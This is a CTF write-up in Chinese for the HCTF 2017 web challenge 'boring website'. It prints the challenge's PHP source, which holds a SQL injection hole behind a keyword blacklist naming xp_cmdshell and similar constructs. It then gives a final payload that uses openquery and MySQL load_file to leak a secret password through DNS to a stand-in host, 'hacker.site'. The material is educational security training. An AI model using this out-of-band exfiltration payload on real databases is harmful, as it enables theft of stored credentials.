boring website

发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Web
Challenge | 2017 | HCTF | Web | boring website

点击此处获得更好的阅读体验

WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

- *代码审计*

解题思路

首先扫目录发现有www.zip,下载并打开发现是源码

```
<?php
echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: O
n linkname:mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
```

*发现应该是sql server用linkserver来连接mysql。所以去查了一波linkserver的用法，以及结合注释可得select * from openquery(mysql,'select xxx')可以从mysql数据库中查得信息，但是没有回显，sleep函数也被ban了，然后看到oob的提示，去查了一波mysql out-of-band，发现load_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。 最终的payload:*

```
/?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')
```

dnslog 平台可以自己搭也可以用ceye

mysql out of band

Flag

```
无
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/5yeZuVBjSJL8ni3W2gKW7Y.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Web # 2017 # HCTF
easy_sign_in
babycrack